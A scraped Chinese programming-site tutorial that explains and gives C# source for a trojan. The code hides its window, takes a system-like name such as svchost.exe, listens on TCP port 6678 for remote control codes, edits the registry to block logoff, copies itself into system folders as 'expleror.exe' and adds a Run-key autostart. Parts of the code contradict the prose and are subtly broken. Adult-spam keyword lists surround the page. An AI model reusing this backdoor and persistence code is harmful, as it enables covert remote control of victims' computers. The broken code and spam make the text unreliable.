亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb

首頁 > 編程 > C# > 正文

基于C#實現的木馬程序實例詳解

2020-01-24 02:38:51
字體:
來源:轉載
供稿:網友

本文以C#為例講解木馬程序的實現過程。要實現木馬服務的程序,主要實現以下幾個功能:后臺的運行(隱藏技術),控制碼的接收注冊表的修改,下面就針對這三方面做介紹:

1、在C#中,建立一個后臺服務程序是很容易的,先建立一個新的C#的Windows應用程序,項目名稱自定(不過為了隱藏可使用與系統相近的名稱,如svchost.exe等),將窗體屬性"ShowInTaskbar"屬性設為false,讓它運行時不會在任務欄中顯示,并將屬性"Windowstate"屬性設為Mininized即可,這樣窗體就可以隱藏運行了。當然你也可以在InitializeComponent()設置,此函數起初始化的作用,在窗體顯示前運行,代碼如下:

private void InitializeComponent(){//// Form1////窗體顯示的起點和大小this.AutoScaleBaseSize = new System.Drawing.Size(6, 14);this.ClientSize = new System.Drawing.Size(368, 357);//窗體名稱this.Name = "Form1";//設置屬性讓它后臺運行this.ShowInTaskbar = false;this.Text = "Form1";this.WindowState = System.Windows.Forms.FormWindowState.Minimized;}

2、控制代碼的接收,必需在服務程序運行開始就啟動,所以偵聽線程必需在程序初始化中啟動,所以放在窗體的構造函數中,代碼注解如下:

public Form1() //窗體的構造函數{//// Windows 窗體設計器支持所必需的//InitializeComponent();//// TODO: 在 InitializeComponent 調用后添加任何構造函數代碼//加入你的偵聽代碼//端口你可以自已設定,我使用了固定的端口int port =6678;//System.Net.Sockets.TcpListener是用來在Tcp網絡中偵聽客戶端的listener = new TcpListener(port);//啟動偵聽listener.Start();//增加接收控制碼的線程,如果要停止線程可以用 Thread.abort()//reControlCode 是線程啟動執行的函數,此函數根據接收的控制//控制碼選取合適的注冊表修改函數Thread thread = new Thread(new ThreadStart(reControlCode));thread.Start();}

reControlCode函數如下,完整代碼見程序:

private void reControlCode(){//設置接收套接字,接收listener.AcceptSocket是返回已經接收的客戶的請求socket = listener.AcceptSocket();//如果連接成功執行while (socket.Connected){//接收控制碼byte [] by =new byte[6];int i = socket.Receive(by,by.Length ,0);string ss = System.Text.Encoding.ASCII.GetString(by);//根據控制碼執行不同的功能//修改注冊表加入編碼switch (ss){case "jiance"://測試連接,返回測試信息string str ="hjc";byte [] bytee = System.Text.Encoding.ASCII.GetBytes(str);socket.Send(bytee,0,bytee.Length,0);break;case "zx1000"://修改注冊表函數,自已定義,見下面分析UnLogOff();//返回控制消息retMessage();break;case "zx0100"://修改注冊表函數UnClose();//返回控制消息retMessage();break;//重復的case功能與前面一樣,略掉default:break;}//case}//while} //private void reControlCode

3、C#中實現注冊表的修改,使用了。NET類庫中的System.Microsoft.Win32命令空間,它提供兩種類型的類:處理由操作系統引發的事件的類和對系統注冊表進行操作的類。下面就可以看到它的用法。這里我做了一個修改注冊表的子程序:使計算機不能注銷。在這之前先了解注冊表,在子鍵SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer
下面設鍵值NoLogOff 為 1 即可使計算機無法注銷。在下面的函數中用C#實現對注冊表的修改:

private void UnLogOff(){//得到主機的注冊表的頂級節點Microsoft.Win32.RegistryKey rLocal = Registry.LocalMachine;//設置一個注冊表子鍵的變量RegistryKey key1;try{//函數RegistryKey.OpenSubkey(string registrykey,bool canwrite)檢索指定的子鍵//registrykey是用戶指定的鍵值,canwrite 為true則可修改,默認為fasle不可改key1 =rLocal.OpenSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer",true);//設置子鍵的鍵名,和值key1.SetValue ("NoLogOff",1);//關閉打開的子鍵key1.Close();//警告字符串設定mystr = mystr +"HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer鍵值Nologoff被修改!請將它置為0!";}catch{}//如果不存在自已建立if(key1 ==null){try{//使用RegistryKey.CreateSubKey(string mystring)函數來建立你需要的子鍵RegistryKey key2 = rLocal.CreateSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer");key2.SetValue("NoLogOff",1);key2.Close();mystr = mystr +"HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer鍵值Nologoff被修改!請將它置為0!";}catch{}}}

4、在木馬程序中還有一個重要的功能就是自我的復制和轉移。木馬引入被控制的主機時必需自動將木馬隱藏在System,System32的目錄下以防被發現。轉移的代碼分析如下,主要實現的功能是將D盤下的木馬程序轉移到C://winnnt//system//msdoss.exe,同時換名稱。使用的。NET命名空間System.IO,它的作用是允許對數據流和文件進行同步和異步讀寫。這里我們使用了System.IO.File類。

private void moveCC1(){try{//函數File.Move(string sourceFileName,string destFileName)起移動文件的作用//sourceFileName為要移動的文件名,destFileName為文件的新路徑File.Move("C://winnnt//system//msdoss.exe","d://winnt//system32//expleror.exe");}catch {}//將新移的木馬程序設為自啟動。分析和前面一樣try{key1 = rLocal.OpenSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Run",true);key1.SetValue ("microsoftt","d://winnt//system32//expleror.exe");key1.Close();}catch{}if(key1 ==null){try{RegistryKey key2=rLocal.CreateSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Run");key1.SetValue ("microsoftt","d://winnt//system32//expleror.exe");key1.Close();}catch{}}} //moveCC1()
發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb
国产精品久久久久999| 九九热精品视频国产| 国产一区深夜福利| 欧美丰满老妇厨房牲生活| 国产精品成人av在线| 成人性生交大片免费看视频直播| 国产精品久久久久久久久久久久久| 91亚洲国产成人精品性色| 亚洲国产欧美一区二区三区久久| 午夜精品福利在线观看| 国产美女精品免费电影| 国产在线不卡精品| 亚洲男人天堂视频| 国产99久久久欧美黑人| 亚洲情综合五月天| 日韩av在线电影网| 成人久久一区二区| 久久99久久99精品中文字幕| 国产精品第10页| 欧美一区第一页| 中文字幕亚洲专区| 97热精品视频官网| 久久夜精品香蕉| 久久电影一区二区| 岛国精品视频在线播放| 日韩电视剧在线观看免费网站| 一道本无吗dⅴd在线播放一区| 色偷偷噜噜噜亚洲男人的天堂| 在线视频中文亚洲| 亚洲一级黄色片| 亚洲色图欧美制服丝袜另类第一页| 久久精品视频网站| 亚洲天堂2020| 国产va免费精品高清在线| 日韩精品免费看| 亚洲欧洲日韩国产| 原创国产精品91| 欧美影院成年免费版| 亚洲春色另类小说| 欧美亚洲另类在线| 丝袜亚洲欧美日韩综合| 久久影院资源网| 成人精品视频99在线观看免费| 国产视频观看一区| 中文字幕日韩在线观看| 欧美劲爆第一页| 中文字幕av一区中文字幕天堂| 97超碰蝌蚪网人人做人人爽| 97在线免费观看视频| 久久久久999| 国产亚洲一区二区精品| 国产精品视频久| 日韩成人久久久| 日本高清不卡的在线| 日本一欧美一欧美一亚洲视频| 久久久久久伊人| 日本亚洲欧洲色α| 亚洲人永久免费| 国产区精品在线观看| 欧美电影院免费观看| 欧美大片在线免费观看| 97色在线观看| 欧美专区福利在线| 欧美日韩爱爱视频| 亚洲欧美日韩在线一区| 国产乱肥老妇国产一区二| 狠狠操狠狠色综合网| 一区二区三区动漫| 日韩av网站电影| 欧美色欧美亚洲高清在线视频| 国产精品自拍视频| 亚洲免费av片| 色婷婷av一区二区三区在线观看| 国产日韩在线亚洲字幕中文| 91免费福利视频| 色综合导航网站| 97在线看福利| 黑人巨大精品欧美一区二区免费| 亚洲视频网站在线观看| 久久这里只有精品99| 国产日韩亚洲欧美| 欧美xxxx做受欧美| 欧美亚洲国产日韩2020| 亚洲国产精品电影| 久久亚洲一区二区三区四区五区高| 国产欧美精品在线播放| 欧美国产欧美亚洲国产日韩mv天天看完整| 亚洲男人天堂古典| 欧美视频在线视频| 日韩av电影手机在线观看| 亚洲人午夜色婷婷| 夜夜嗨av一区二区三区免费区| 成人黄色免费网站在线观看| 欧美中文在线字幕| 亚洲欧美综合另类中字| 亚洲精品一区二三区不卡| 亚洲免费伊人电影在线观看av| 在线观看久久av| 国产精彩精品视频| 国产日韩中文在线| 欧美成人免费大片| 秋霞午夜一区二区| 亚洲精品av在线播放| 欧美中文在线视频| 久久精品国产亚洲精品2020| 最近更新的2019中文字幕| 国产一区二区三区18| 亚洲xxx视频| 日韩欧美在线视频免费观看| 成人av番号网| 亚洲成人网久久久| 亚洲国产精品小视频| 亚洲精品720p| 福利一区福利二区微拍刺激| 国产精品美女主播在线观看纯欲| 国产成人精品免费久久久久| 欧美在线视频免费| 国产亚洲激情视频在线| 国产噜噜噜噜噜久久久久久久久| 国产精品视频一| 欧洲亚洲在线视频| 日韩精品在线视频美女| 91中文字幕在线| 在线观看精品国产视频| 尤物九九久久国产精品的特点| 91av在线播放| 久久久久一本一区二区青青蜜月| 国产在线观看精品| 成人精品福利视频| 欧美国产视频日韩| 国产精品日韩久久久久| 亚洲免费影视第一页| 青青草国产精品一区二区| 91精品视频观看| 有码中文亚洲精品| 黑人巨大精品欧美一区二区| 亚洲精品www久久久久久广东| 亚洲激情电影中文字幕| 欧美成人免费观看| 亚洲第一男人天堂| 日韩最新中文字幕电影免费看| 在线观看欧美成人| 日本亚洲欧洲色α| 国产日本欧美一区二区三区在线| 国产va免费精品高清在线观看| 日韩在线视频导航| 51色欧美片视频在线观看| 一区二区在线免费视频| 欧美激情乱人伦| 色偷偷91综合久久噜噜| 久久91超碰青草是什么| 欧美大肥婆大肥bbbbb| 欧美疯狂做受xxxx高潮| 亚洲第一色中文字幕| 欧美亚洲另类制服自拍| 69久久夜色精品国产7777| 亚洲美女精品成人在线视频| 韩国精品久久久999| 日韩精品999| 亚洲第一页中文字幕| 亚洲视频专区在线| 亚洲男人av电影| 最新国产精品拍自在线播放| 国产97色在线|